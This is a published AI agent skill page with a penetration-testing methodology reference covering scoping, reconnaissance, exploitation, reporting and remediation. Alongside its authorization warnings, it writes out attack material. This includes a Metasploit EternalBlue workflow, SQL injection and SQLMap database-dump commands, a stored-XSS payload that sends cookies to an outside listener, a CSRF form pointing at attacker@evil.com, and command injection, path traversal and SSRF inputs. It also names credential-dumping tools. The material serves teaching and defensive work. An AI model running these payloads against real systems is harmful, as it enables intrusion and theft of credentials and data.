penetration-testing
Use this skill when conducting authorized penetration tests, vulnerability assessments, or security audits within proper engagement scope. Triggers on pentest methodology, vulnerability scanning, OWASP testing guide, Burp Suite, reconnaissance, exploitation, reporting, and any task requiring structured security assessment within authorized engagements or CTF competitions.
engineering pentestsecurityvulnerability-assessmentethical-hackingauditWhat is penetration-testing?
Use this skill when conducting authorized penetration tests, vulnerability assessments, or security audits within proper engagement scope. Triggers on pentest methodology, vulnerability scanning, OWASP testing guide, Burp Suite, reconnaissance, exploitation, reporting, and any task requiring structured security assessment within authorized engagements or CTF competitions.
penetration-testing
penetration-testing is a production-ready AI agent skill for claude-code, gemini-cli, openai-codex. Conducting authorized penetration tests, vulnerability assessments, or security audits within proper engagement scope.
Quick Facts
| Field | Value |
|---|---|
| Category | engineering |
| Version | 0.1.0 |
| Platforms | claude-code, gemini-cli, openai-codex |
| License | MIT |
How to Install
- Make sure you have Node.js installed on your machine.
- Run the following command in your terminal:
npx skills add AbsolutelySkilled/AbsolutelySkilled --skill penetration-testing- The penetration-testing skill is now available in your AI coding agent (Claude Code, Gemini CLI, OpenAI Codex, etc.).
Overview
A structured framework for conducting authorized security assessments. This skill covers the full pentest lifecycle - from scoping and reconnaissance through exploitation and reporting - with an uncompromising emphasis on authorized testing only. Every technique, tool, and tactic here is applied exclusively within written engagement agreements, sanctioned CTF competitions, or controlled lab environments.
Security testing without explicit written authorization is illegal under the Computer Fraud and Abuse Act (CFAA), the Computer Misuse Act (UK), and equivalent laws in virtually every jurisdiction. There are no exceptions.
Tags
pentest security vulnerability-assessment ethical-hacking audit
Platforms
- claude-code
- gemini-cli
- openai-codex
Related Skills
Pair penetration-testing with these complementary skills:
Frequently Asked Questions
What is penetration-testing?
Use this skill when conducting authorized penetration tests, vulnerability assessments, or security audits within proper engagement scope. Triggers on pentest methodology, vulnerability scanning, OWASP testing guide, Burp Suite, reconnaissance, exploitation, reporting, and any task requiring structured security assessment within authorized engagements or CTF competitions.
How do I install penetration-testing?
Run npx skills add AbsolutelySkilled/AbsolutelySkilled --skill penetration-testing in your terminal. The skill will be immediately available in your AI coding agent.
What AI agents support penetration-testing?
This skill works with claude-code, gemini-cli, openai-codex. Install it once and use it across any supported AI coding agent.
Maintainers
Generated from AbsolutelySkilled
SKILL.md
Penetration Testing
A structured framework for conducting authorized security assessments. This skill covers the full pentest lifecycle - from scoping and reconnaissance through exploitation and reporting - with an uncompromising emphasis on authorized testing only. Every technique, tool, and tactic here is applied exclusively within written engagement agreements, sanctioned CTF competitions, or controlled lab environments.
Security testing without explicit written authorization is illegal under the Computer Fraud and Abuse Act (CFAA), the Computer Misuse Act (UK), and equivalent laws in virtually every jurisdiction. There are no exceptions.
When to use this skill
Trigger this skill when the user:
- Plans or scopes an authorized penetration test engagement
- Conducts a web application security assessment following the OWASP Testing Guide
- Performs network vulnerability scanning (Nmap, Nessus, OpenVAS)
- Tests authentication, session management, or access control weaknesses
- Writes a professional pentest report with findings and remediation guidance
- Prioritizes vulnerabilities using CVSS scoring or risk-based frameworks
- Practices in a CTF competition, HackTheBox, TryHackMe, or personal lab environment
Do NOT trigger this skill for:
- Any activity targeting systems the user does not have explicit written authorization to test - this is unauthorized access, not security testing
- Attacks on production systems outside a defined and agreed engagement scope, regardless of intent or claimed ownership
Key principles
Always have written authorization - A signed statement of work, rules of engagement document, or CTF registration is non-negotiable before any testing begins. Verbal permission is legally meaningless. If you do not have written authorization, you do not have authorization.
Follow scope strictly - The engagement scope defines exactly which IP ranges, domains, applications, and test types are in bounds. Scope creep - even "accidental" pivoting to out-of-scope systems - carries legal liability. When in doubt, stop and clarify with the client.
Document everything - Log every command run, every finding discovered, and every timestamp. Detailed records protect the tester legally, enable accurate reporting, and provide the client with a reproducible audit trail.
Responsible disclosure - Critical findings (RCE, credential exposure, data exfiltration paths) must be reported to the client immediately, not at the end of the engagement. Do not hold back critical vulnerabilities to make the final report look more impressive.
Minimize impact - Testing should never cause unnecessary disruption. Avoid destructive exploits, denial-of-service techniques, or mass data extraction unless explicitly authorized. The goal is to demonstrate a vulnerability exists, not to fully exploit it.
Core concepts
Pentest phases
The Penetration Testing Execution Standard (PTES) defines five phases that form a repeatable methodology for every engagement:
| Phase | Goal | Key activities |
|---|---|---|
| Reconnaissance | Understand the target's attack surface | Passive OSINT (WHOIS, Shodan, Google dorks), active scanning, subdomain enumeration |
| Scanning & Enumeration | Map live hosts, open ports, services, and versions | Nmap, Nessus, Nikto, banner grabbing, service fingerprinting |
| Exploitation | Demonstrate that a vulnerability can be leveraged | Metasploit, manual exploit development, web app attacks (SQLi, XSS, SSRF) |
| Post-Exploitation | Assess impact depth after initial compromise | Privilege escalation, lateral movement, credential harvesting, persistence (within scope) |
| Reporting | Communicate risk to the client in actionable terms | Executive summary, technical findings, CVSS scores, remediation steps |
Vulnerability severity - CVSS
The Common Vulnerability Scoring System (CVSS v3.1) provides a standardized numerical score (0.0-10.0) used to communicate severity:
| Score | Severity | Typical examples |
|---|---|---|
| 9.0-10.0 | Critical | Unauthenticated RCE, pre-auth SQL injection with DBA access |
| 7.0-8.9 | High | Authenticated RCE, significant privilege escalation, SSRF to metadata |
| 4.0-6.9 | Medium | Stored XSS, IDOR exposing other users' data, weak TLS config |
| 0.1-3.9 | Low | Informational disclosure, missing security headers, verbose errors |
| 0.0 | Informational | Best-practice gaps with no direct exploitability |
CVSS scores are a communication tool, not the final word on business risk. A medium-severity finding in a payment card system may carry higher business risk than a high-severity finding on a low-value internal tool. Always contextualize scores for the client.
Rules of engagement
Rules of engagement (ROE) define the guardrails for a test. A well-formed ROE document covers:
- Scope: IP ranges, domains, applications in-scope and out-of-scope
- Test types: Allowed techniques (e.g., is social engineering in scope? DoS testing?)
- Time windows: Permitted testing hours (avoid peak business hours for network tests)
- Emergency contacts: Who to call if testing causes unintended disruption
- Data handling: How captured credentials and PII must be stored and destroyed
- Exclusions: Specific systems, third-party services, or shared infrastructure that must not be touched
Common tasks
Plan a pentest engagement
Before any technical work begins, define:
- Scope document - list every IP range, CIDR block, domain, and application explicitly authorized for testing. Write a separate exclusion list.
- Rules of engagement - cover testing windows, allowed techniques, emergency contacts, and data handling requirements (see ROE section above).
- Timeline - reconnaissance phase, active testing phase, reporting phase, and remediation validation window.
- Test type - black-box (no prior knowledge), grey-box (limited knowledge like a standard user account), or white-box (full source code and architecture access).
Always get ROE signed before the first Nmap packet leaves your machine.
Conduct a web application assessment
Follow the OWASP Testing Guide (OTG) v4 methodology:
1. Information Gathering
- OTG-INFO-001: Fingerprint web server and technology stack
- OTG-INFO-003: Review webserver metafiles (robots.txt, sitemap.xml)
- OTG-INFO-007: Map application entry points
2. Authentication Testing
- OTG-AUTHN-001: Test credentials over encrypted transport
- OTG-AUTHN-003: Test account lockout and brute-force protections
- OTG-AUTHN-006: Test for default credentials
3. Authorization Testing
- OTG-AUTHZ-001: Directory traversal / file inclusion
- OTG-AUTHZ-002: Bypass authorization schema (IDOR, privilege escalation)
4. Session Management Testing
- OTG-SESS-001: Test cookie attributes (Secure, HttpOnly, SameSite)
- OTG-SESS-005: Test for CSRF
5. Input Validation Testing
- OTG-INPVAL-001: Reflected/stored/DOM XSS
- OTG-INPVAL-005: SQL injection
- OTG-INPVAL-017: SSRF
6. Business Logic Testing
- OTG-BUSLOGIC-004: Test for process timing attacks
- OTG-BUSLOGIC-009: Test for upload of malicious filesTools: Burp Suite (proxy and scanner), OWASP ZAP, SQLMap (authorized use only), ffuf (directory brute-forcing), Nikto (initial reconnaissance).
Perform a network vulnerability scan
A repeatable Nmap scanning workflow for authorized network assessments:
# Phase 1: Host discovery (fast, low noise)
nmap -sn 10.0.0.0/24 -oG hosts-up.txt
# Phase 2: Service version scan on live hosts
nmap -sV -sC -p- --open -iL hosts-up.txt -oA nmap-full
# Phase 3: Targeted UDP scan for key services
nmap -sU -p 53,67,161,500 -iL hosts-up.txt -oA nmap-udp
# Phase 4: Vulnerability scripts (NSE) - authorized only
nmap --script vuln -iL hosts-up.txt -oA nmap-vulnFollow up with Nessus or OpenVAS for CVE-matched vulnerability detection. Always save raw scan output - it is evidence in the report.
Set scan rate limits (
--max-rate) to avoid triggering IDS alerts or causing unintended service disruption on fragile systems.
Test authentication and session management
Authentication testing checklist:
- Credentials transmitted over TLS only (no HTTP fallback)
- Account lockout triggers after N failed attempts (test: 10-20 rapid attempts)
- Password reset tokens are single-use, expire quickly, and are not guessable
- Session tokens have sufficient entropy (min 128 bits)
- Session cookies set with
Secure,HttpOnly, andSameSite=Strict - Session invalidated on logout (server-side, not just client-side cookie deletion)
- No session fixation (new token issued after successful login)
- MFA bypass paths tested (fallback flows, recovery codes, API endpoint parity)
Write a pentest report
A professional report structure:
1. Executive Summary (1-2 pages, non-technical audience)
- Engagement scope and objectives
- Overall risk rating with one-sentence rationale
- Top 3 most critical findings in plain language
- Recommended prioritization order for remediation
2. Technical Findings (one page per finding minimum)
Each finding must include:
| Field | Content |
|---|---|
| Title | Short, descriptive vulnerability name |
| Severity | CVSS v3.1 score + vector string |
| Affected component | URL, IP, service, and version |
| Description | What the vulnerability is and why it exists |
| Evidence | Screenshots, request/response pairs, tool output |
| Impact | What an attacker can achieve if exploited |
| Remediation | Specific, actionable fix with code examples where applicable |
| References | CVE, CWE, OWASP reference |
3. Remediation Summary - table of all findings sorted by severity with estimated remediation effort.
4. Appendices - raw tool output, full scope definition, methodology reference.
Prioritize vulnerabilities by risk
CVSS score alone is not sufficient for prioritization. Apply this framework:
Risk = Severity x Exploitability x Business Impact
For each finding, score 1-5:
Severity: CVSS base score (normalize: Critical=5, High=4, Med=3, Low=1)
Exploitability: 1=requires physical access, 3=authenticated remote, 5=unauthenticated remote
Business Impact: 1=no sensitive data/system, 5=production PII or financial system
Priority 1 (fix in 24-48h): Risk score 60+
Priority 2 (fix in 1-2 weeks): Risk score 30-59
Priority 3 (fix in next sprint): Risk score 10-29
Priority 4 (fix when convenient): Risk score <10Always review with the client - they know which systems are business-critical.
Set up a testing lab for practice
Build a safe, isolated practice environment:
- Virtualization: VirtualBox or VMware Workstation, host-only or NAT networking
- Vulnerable targets: DVWA, Metasploitable 2/3, VulnHub VMs, HackTheBox machines, TryHackMe rooms
- Attacker OS: Kali Linux or Parrot OS (come pre-loaded with pentest tooling)
- Network isolation: Never bridge your lab network to a production or corporate network
- Snapshots: Snapshot VM state before each exploitation attempt for easy revert
Practice only on systems you own or platforms that grant explicit authorization (HTB, THM, VulnHub). Setting up a lab is the correct path when you want to develop skills without an engagement in hand.
Anti-patterns
| Anti-pattern | Why it's wrong | What to do instead |
|---|---|---|
| Testing without written authorization | Illegal under CFAA and equivalent laws worldwide, regardless of intent or claimed ownership | Obtain signed statement of work and ROE before any testing begins |
| Scope creep during exploitation | Pivoting to out-of-scope systems creates legal exposure even if discovered accidentally | Stop immediately, document the out-of-scope system found, notify the client, get written scope extension if needed |
| Running destructive exploits without explicit authorization | Can cause data loss, service outages, or permanent system damage | Demonstrate exploitability with a PoC that proves the vulnerability without causing harm (e.g., id vs full shell) |
| Saving client credentials or PII beyond the engagement | Creates data liability and breaches engagement agreement | Destroy captured credentials per the data-handling terms in the ROE; never store them after the engagement closes |
| Reporting only exploited vulnerabilities | Misses the full attack surface - un-exploited vulnerabilities still carry risk | Report all findings including those that could not be exploited in the test window, with CVSS-based risk scores |
| Vague remediation advice ("fix the SQL injection") | Developers cannot act on generic advice | Provide specific remediation - parameterized query example, library recommendation, configuration change - for every finding |
Gotchas
Scope creep via pivoting to discovered out-of-scope systems is a legal exposure - During exploitation or enumeration, you will discover systems adjacent to your scope. Even if pivoting there would demonstrate greater impact, touching them is unauthorized access regardless of intent. When you discover an out-of-scope system that is critical (e.g., a connected production DB), stop, document, and notify the client immediately - do not test it.
Nmap aggressive scans (
-A) without rate limiting will trigger IDS and disrupt fragile services - The default aggressive scan sends thousands of packets per second and will trigger intrusion detection, fill firewall logs, and crash UDP-sensitive services on older hardware. Always set--max-rate 100-500for initial scans in production environments and increase only after confirming stability.Storing captured credentials or PII beyond engagement close is a data liability - Pentest tooling (Responder, Metasploit loot, Burp history) accumulates real credentials, session tokens, and PII. Many testers forget to purge this data after the engagement. The ROE data-handling clause applies: destroy all captured data per the agreed method on the day the engagement closes.
CVSS base scores do not account for business context - A CVSS 9.8 on an internal dev tool with no external access is genuinely lower risk than a CVSS 6.5 IDOR on a payment API. Presenting raw CVSS scores to clients without contextualizing for their environment creates misplaced remediation priorities. Always add a business risk statement to each finding that reflects the actual environment.
Password spraying without lockout testing first triggers account lockouts at scale - Testing a list of 500 accounts with one password attempt each can lock out a significant fraction of users if the lockout threshold is low (e.g., 3 attempts in 30 minutes from any source). Always test the lockout policy on a single test account before running any spray, and confirm spray scope with the client.
References
For detailed methodology and patterns, load the relevant references file:
references/methodology.md- PTES and OWASP Testing Guide methodology, phase-by-phase breakdown, tool reference, and reporting templates
Only load references files when the current task requires them - they are long and will consume context.
References
methodology.md
Penetration Testing Methodology Reference
Detailed methodology for authorized security assessments. This reference covers PTES (Penetration Testing Execution Standard) and the OWASP Testing Guide (OTG v4) in full phase-by-phase detail, with tool commands and reporting templates. All techniques here apply exclusively within written authorized engagements or CTF/lab environments.
1. PTES - Penetration Testing Execution Standard
PTES defines seven phases. The first two (pre-engagement and intelligence gathering) are where most engagements succeed or fail - thorough preparation prevents legal exposure and wasted testing time.
Phase 1: Pre-Engagement
Deliverables required before testing starts:
- Signed Statement of Work (SOW) defining the engagement type, timeline, and cost
- Rules of Engagement (ROE) document (see template below)
- Written authorization letter on client letterhead (carry during on-site tests)
- Emergency contact list (client security team, escalation path)
ROE template - minimum fields:
RULES OF ENGAGEMENT
Engagement: [Client Name] Penetration Test
Tester: [Name / Organization]
Date range: [Start] to [End]
Testing hours: [e.g., 09:00-17:00 local time weekdays only]
IN-SCOPE SYSTEMS:
IP ranges: 10.0.1.0/24, 10.0.2.0/24
Domains: app.example.com, api.example.com
Applications: Customer portal, Admin dashboard
OUT-OF-SCOPE SYSTEMS:
- All systems not listed above
- Third-party payment processor (PCI scope - separate authorization required)
- Production database servers (read-only access only)
AUTHORIZED TEST TYPES:
[X] External network scanning
[X] Web application testing (OWASP OTG)
[X] Authenticated internal testing
[ ] Social engineering (NOT authorized)
[ ] Denial of service (NOT authorized)
[ ] Physical access (NOT authorized)
EMERGENCY CONTACTS:
Primary: [Name, Phone, Email]
Secondary: [Name, Phone, Email]
DATA HANDLING:
Captured credentials must be destroyed within 7 days of engagement close.
No PII may be removed from client systems or stored beyond the engagement.
Authorized by: [Client Name, Title, Signature, Date]
Tester: [Tester Name, Signature, Date]Phase 2: Intelligence Gathering (Reconnaissance)
Reconnaissance divides into passive (no direct contact with target) and active (direct interaction with target systems).
Passive Reconnaissance
Goal: build a target profile without triggering IDS or alerting the client.
| Technique | Tool | What it finds |
|---|---|---|
| WHOIS / DNS | whois, dig, dnsx |
Registrant info, name servers, mail servers |
| Subdomain enumeration | subfinder, amass, dnsx |
Attack surface expansion |
| Certificate transparency | crt.sh, censys |
Subdomains via TLS cert logs |
| Search engine OSINT | Google dorks, Shodan, FOFA | Exposed panels, indexed files, server banners |
| GitHub/GitLab OSINT | trufflehog, gitleaks, manual search |
Leaked credentials, API keys, internal hostnames |
| LinkedIn / social | Manual | Employee names for spear phishing (if authorized) |
Useful Google dorks:
site:example.com filetype:pdf # Indexed documents
site:example.com inurl:admin # Admin panels
site:example.com "Index of /" # Directory listings
"example.com" ext:env OR ext:log # Exposed config files
intitle:"Grafana" site:example.com # Exposed monitoring dashboardsShodan queries:
hostname:example.com # All indexed hosts for domain
org:"Example Inc" port:22 # SSH servers in org
ssl.cert.subject.cn:example.com # Hosts by TLS certActive Reconnaissance
Goal: direct contact with target systems within authorized scope.
# DNS zone transfer attempt (often fails, but worth trying)
dig axfr @ns1.example.com example.com
# Subdomain brute-force with wordlist
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u https://FUZZ.example.com -mc 200,301,302
# Virtual host brute-force (same IP, different Host headers)
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u https://10.0.1.1 -H "Host: FUZZ.example.com" -mc 200,301
# Web content discovery
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-u https://app.example.com/FUZZ -mc 200,301,302,403Phase 3: Threat Modeling
Map findings from reconnaissance to potential attack paths before active exploitation:
- Entry points - List all discovered endpoints, ports, and authentication surfaces
- Assets at risk - What data or systems have the most business value?
- Attack vectors - For each entry point, list applicable vulnerability classes
- Prioritization - Start with highest-impact, lowest-barrier attack paths
Use a simple matrix:
| Entry point | Vulnerability class | Exploitability | Impact | Priority |
|---|---|---|---|---|
| Login form (app.example.com) | Brute force, SQLi, CSRF | Medium | High | 1 |
| API endpoint /api/v1/users | IDOR, broken auth | Low (needs token) | High | 2 |
| Admin panel (10.0.1.5:8080) | Default creds, exposed to internet | High | Critical | 1 |
Phase 4: Vulnerability Research and Analysis
Identify specific CVEs and misconfigurations in discovered services:
# Nessus / OpenVAS: run credentialed scan for known CVEs
# (GUI-based - configure via web interface)
# Nmap NSE vulnerability scripts
nmap --script vuln -p 80,443,22,21 10.0.1.0/24 -oA vuln-scan
# Searchsploit: find public exploits for identified service versions
searchsploit apache 2.4.49
searchsploit openssh 7.2
# Check NVD/CVE databases for CVSS scores
# https://nvd.nist.gov/vuln/searchPhase 5: Exploitation
Execute proof-of-concept exploits for confirmed vulnerabilities, within scope and using minimal-impact approaches.
Exploitation discipline:
- Confirm the vulnerability with a benign payload before using a full exploit
(e.g.,
sleep(5)for SQLi,alert(1)for XSS before stored payloads) - Log every exploit attempt with timestamp, target, payload, and result
- Prefer PoC-only exploitation (demonstrate the bug exists) over full shells unless the engagement explicitly requires demonstrating full post-exploitation
- Never use exploits that could cause data corruption or service outage without explicit written authorization from the client
Metasploit framework workflow:
msfconsole
# Search for modules
search type:exploit name:eternalblue
search cve:2021-44228
# Use a module
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.0.1.50
set LHOST 10.0.1.200
set LPORT 4444
check # Verify target is vulnerable before exploiting
runManual SQL injection testing:
# Error-based detection (in parameter or request body)
' OR '1'='1
' OR '1'='1'--
' UNION SELECT NULL--
# Time-based blind (when no visible error)
' AND SLEEP(5)--
' AND 1=(SELECT 1 FROM (SELECT SLEEP(5))a)--
# SQLMap for authorized automated testing
sqlmap -u "https://app.example.com/item?id=1" --dbs --batch
sqlmap -u "https://app.example.com/item?id=1" -D targetdb --tables --batchXSS payload progression:
// Step 1: Prove execution (benign)
<script>alert(document.domain)</script>
// Step 2: Demonstrate session theft risk (no actual theft in PoC)
<script>alert(document.cookie)</script>
// Step 3: For stored XSS PoC - use a callback to your listener
<script>new Image().src='https://your-burp-collaborator.com/?c='+document.cookie</script>Phase 6: Post-Exploitation
Assess the depth of compromise after initial foothold. Only perform activities explicitly authorized in the ROE.
Common post-exploitation activities (when authorized):
| Activity | Purpose | Tool |
|---|---|---|
| Privilege escalation | Demonstrate impact beyond initial access level | LinPEAS, WinPEAS, GTFOBins |
| Credential harvesting | Show breadth of credential exposure | Mimikatz (Windows, if authorized), /etc/shadow review |
| Lateral movement | Demonstrate network segmentation gaps | Pivoting via compromised host, SSH key reuse |
| Persistence | Demonstrate that an attacker could maintain long-term access | Cron job, SSH authorized_keys (authorized and removed after demonstration) |
| Data access | Demonstrate what data is reachable, not extract it | Directory listing, not exfiltration |
Privilege escalation checklist (Linux):
# SUID binaries
find / -perm -u=s -type f 2>/dev/null
# World-writable cron jobs
ls -la /etc/cron* /var/spool/cron/
# Sudo permissions
sudo -l
# Kernel version (check against known local privilege escalation CVEs)
uname -a
# Running services as root
ps aux | grep root
# Capabilities
getcap -r / 2>/dev/nullPhase 7: Reporting
See SKILL.md for report structure. Extended guidance:
Finding severity classification with CVSS v3.1 examples:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical
(Network, Low complexity, No privileges, No user interaction, unchanged scope,
High confidentiality/integrity/availability impact)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5 Medium
(Network, Low complexity, Low privileges required, High confidentiality impact only)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N = 3.1 Low
(Network, High complexity, No privileges, User interaction required, Low confidentiality)Evidence documentation standards:
- Screenshots must include the full browser window or terminal with URL/hostname visible
- HTTP request/response pairs from Burp Suite: include raw request and response
- Command output: include the full command run, not just the output
- Timestamps in all screenshots (enable system clock display)
- For video evidence: record screen with tool and timestamp visible
2. OWASP Testing Guide (OTG) v4 - Web Application
The OWASP Testing Guide provides a comprehensive checklist for web application security testing. Below are the highest-priority test categories with key tests and techniques.
OTG-INFO: Information Gathering
| Test ID | Test name | Technique |
|---|---|---|
| OTG-INFO-001 | Conduct search engine discovery | Google dorks, Shodan, Censys |
| OTG-INFO-002 | Fingerprint web server | HTTP response headers, error page analysis |
| OTG-INFO-003 | Review webserver metafiles | robots.txt, sitemap.xml, .well-known/ |
| OTG-INFO-004 | Enumerate application on webserver | ffuf, dirbuster, feroxbuster |
| OTG-INFO-005 | Review webpage content for leakage | HTML comments, JS source maps, debug info |
| OTG-INFO-006 | Identify application entry points | Spider, manual review, API endpoints |
| OTG-INFO-007 | Map execution paths through app | Burp Suite site map, manual walkthrough |
| OTG-INFO-008 | Fingerprint web application framework | X-Powered-By, cookies, file extensions |
| OTG-INFO-009 | Fingerprint web application | CMS detection (WhatWeb, Wappalyzer) |
| OTG-INFO-010 | Map application architecture | Load balancers, WAF, CDN detection |
OTG-AUTHN: Authentication Testing
| Test ID | Test name | Key checks |
|---|---|---|
| OTG-AUTHN-001 | Testing for credentials over encrypted channel | No HTTP fallback, HSTS header present |
| OTG-AUTHN-002 | Testing for default credentials | Admin/admin, test/test, vendor default lists |
| OTG-AUTHN-003 | Testing for weak lockout mechanism | 10-20 failed attempts, no lockout = fail |
| OTG-AUTHN-004 | Testing for bypassing authentication schema | Direct URL access post-login, parameter manipulation |
| OTG-AUTHN-005 | Testing for vulnerable remember password | Password stored in cookie, weak token |
| OTG-AUTHN-006 | Testing the browser cache for sensitive information | Cache-Control: no-store on auth pages |
| OTG-AUTHN-007 | Testing for weak password policy | Minimum length, complexity, history |
| OTG-AUTHN-008 | Testing for weak security question/answer | Guessable answers, unlimited retries |
| OTG-AUTHN-009 | Testing for weak password change or reset | Token entropy, single-use enforcement, expiry |
| OTG-AUTHN-010 | Testing for weaker authentication in alternative channel | Mobile API, SSO fallback, 2FA bypass |
OTG-AUTHZ: Authorization Testing
| Test ID | Test name | Key checks |
|---|---|---|
| OTG-AUTHZ-001 | Testing directory traversal / file include | ../../../etc/passwd, LFI via parameter |
| OTG-AUTHZ-002 | Testing for bypassing authorization schema | Change user ID in URL, JWT role manipulation |
| OTG-AUTHZ-003 | Testing for privilege escalation | Horizontal (user A accessing user B data), vertical (user to admin) |
| OTG-AUTHZ-004 | Testing for IDOR | Replace object references in requests, parameter tampering |
IDOR testing pattern:
1. Create two test accounts: user_a and user_b
2. As user_a, create a resource (order, message, profile)
Note the resource ID (e.g., /api/orders/4521)
3. As user_b, attempt to access /api/orders/4521
4. If successful: IDOR confirmed - HIGH severity
5. Test for write/delete IDOR separately (often more impactful than read)OTG-SESS: Session Management Testing
| Test ID | Test name | Key checks |
|---|---|---|
| OTG-SESS-001 | Testing for cookie attributes | Secure, HttpOnly, SameSite, Domain, Path, Expiry |
| OTG-SESS-002 | Testing for cookie padding | No base64-encoded predictable values |
| OTG-SESS-003 | Testing for session token entropy | Min 128 bits entropy, no sequential IDs |
| OTG-SESS-004 | Testing for session fixation | New token issued after authentication |
| OTG-SESS-005 | Testing for CSRF | Token validation on state-changing requests |
| OTG-SESS-006 | Testing for logout functionality | Server-side session invalidation, not just cookie deletion |
| OTG-SESS-007 | Testing session timeout | Idle timeout enforced server-side |
| OTG-SESS-008 | Testing for session puzzling | Session variable used in multiple contexts |
CSRF PoC template:
<!-- Host this on your test server to demonstrate CSRF -->
<html>
<body>
<form id="csrf-form" action="https://app.example.com/api/user/email"
method="POST">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>OTG-INPVAL: Input Validation Testing
| Vulnerability | Test technique | Tool |
|---|---|---|
| Reflected XSS | Inject <script>alert(1)</script> in all input fields, URL params, headers |
Burp Suite, XSStrike |
| Stored XSS | Persist payload via form submission, check rendered output elsewhere | Manual, Burp Suite |
| DOM-based XSS | Inspect JS code for innerHTML, document.write, eval with user input |
Manual code review |
| SQL Injection | ', ' OR '1'='1'--, ' UNION SELECT NULL-- |
SQLMap (authorized), Burp Scanner |
| Command Injection | ; id, ` |
id, $(id)`, backtick injection |
| SSRF | Point URL parameters to internal services: http://169.254.169.254/ |
Burp Collaborator, ssrfmap |
| XXE | Submit XML with external entity referencing /etc/passwd |
Manual, Burp Suite |
| Path Traversal | ../../../etc/passwd, URL-encoded variants %2e%2e%2f |
Manual, dotdotpwn |
| Open Redirect | Manipulate redirect parameters to external URL | Manual |
3. Tool Reference
Reconnaissance
| Tool | Purpose | Key command |
|---|---|---|
nmap |
Port scanning, service detection | nmap -sV -sC -p- --open target |
subfinder |
Passive subdomain enumeration | subfinder -d example.com |
amass |
Active + passive subdomain enumeration | amass enum -d example.com |
ffuf |
Web fuzzing (dirs, subdomains, params) | ffuf -w wordlist.txt -u https://example.com/FUZZ |
theHarvester |
Email, subdomain, hostname OSINT | theHarvester -d example.com -b google,bing |
shodan CLI |
Search Shodan from terminal | shodan search hostname:example.com |
Web Application
| Tool | Purpose | Notes |
|---|---|---|
| Burp Suite Community | HTTP proxy, manual testing | Free; use Pro for automated scanner |
| OWASP ZAP | Automated web scanner | Free, good for CI integration |
| SQLMap | SQL injection automation | Always use --batch, save output |
| Nikto | Web server misconfiguration scan | Fast initial scan, noisy |
| WhatWeb | Web tech fingerprinting | whatweb https://example.com |
| dirsearch | Directory/file brute-force | dirsearch -u https://example.com |
Exploitation
| Tool | Purpose | Notes |
|---|---|---|
| Metasploit Framework | Exploit development and execution | msfconsole, use check before run |
| searchsploit | Offline exploit database search | searchsploit apache 2.4 |
| pwncat | Reverse shell handler with features | Better than raw netcat for Linux targets |
| impacket | Windows/AD protocol exploitation | secretsdump.py, psexec.py |
Post-Exploitation
| Tool | Purpose | Platform |
|---|---|---|
| LinPEAS | Local privilege escalation enumeration | Linux |
| WinPEAS | Local privilege escalation enumeration | Windows |
| GTFOBins | SUID/sudo binary abuse reference | Linux (web reference) |
| Mimikatz | Credential dumping | Windows (explicit authorization required) |
| BloodHound | Active Directory attack path mapping | Windows AD environments |
4. Common Vulnerability Patterns with Remediation
SQL Injection
Vulnerable:
query = "SELECT * FROM users WHERE id = " + user_inputRemediation:
# Parameterized query
cursor.execute("SELECT * FROM users WHERE id = %s", (user_input,))
# ORM with bind parameters
User.objects.filter(id=user_input)Stored XSS
Vulnerable:
document.getElementById('output').innerHTML = userInput;Remediation:
// Use textContent, never innerHTML with user input
document.getElementById('output').textContent = userInput;
// If HTML output is required, use a sanitization library
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);IDOR
Vulnerable:
@app.get("/api/orders/{order_id}")
def get_order(order_id: int, current_user: User):
return db.query(Order).filter(Order.id == order_id).first()Remediation:
@app.get("/api/orders/{order_id}")
def get_order(order_id: int, current_user: User):
order = db.query(Order).filter(
Order.id == order_id,
Order.owner_id == current_user.id # ownership check
).first()
if not order:
raise HTTPException(status_code=404) # don't leak existence
return orderSSRF
Vulnerable:
url = request.form.get('url')
response = requests.get(url) # fetches whatever the user providesRemediation:
from urllib.parse import urlparse
import ipaddress
ALLOWED_SCHEMES = {'https'}
BLOCKED_RANGES = [
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('169.254.0.0/16'), # AWS metadata
ipaddress.ip_network('127.0.0.0/8'),
]
def is_safe_url(url: str) -> bool:
parsed = urlparse(url)
if parsed.scheme not in ALLOWED_SCHEMES:
return False
try:
ip = ipaddress.ip_address(parsed.hostname)
for blocked in BLOCKED_RANGES:
if ip in blocked:
return False
except ValueError:
pass # hostname, not IP - also validate via DNS resolution
return True5. Reporting Template
Finding template
## [SEVERITY] Finding Title
**Severity:** Critical / High / Medium / Low / Informational
**CVSS v3.1 Score:** 9.8
**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
**CWE:** CWE-89 (SQL Injection)
**Affected URL/Host:** https://app.example.com/api/login
**Tested on:** 2026-03-10
### Description
Describe the vulnerability, what it is, and why it exists in the application.
### Evidence
[Screenshot or request/response pair]
Request:
POST /api/login HTTP/1.1
Host: app.example.com
Content-Type: application/json
{"username": "admin'--", "password": "anything"}
Response:
HTTP/1.1 200 OK
{"token": "eyJ..."}
### Impact
Describe what an attacker can achieve. Be specific to this application.
### Remediation
Specific fix with code example if applicable.
**References:**
- OWASP: https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89: https://cwe.mitre.org/data/definitions/89.html6. Responsible Disclosure Timeline
When critical findings are discovered during an engagement:
Day 0: Critical/High finding discovered
Day 0: Notify client emergency contact immediately (phone, not just email)
Day 0: Document finding with full evidence
Day 1: Provide preliminary written notification with severity and impact summary
Day X: Full report delivered per engagement timeline
Day X+: Remediation validation test (if in scope)For bug bounty programs (not client engagements), follow the platform's disclosure timeline - typically 90 days before public disclosure, with extensions for complex fixes.
Frequently Asked Questions
What is penetration-testing?
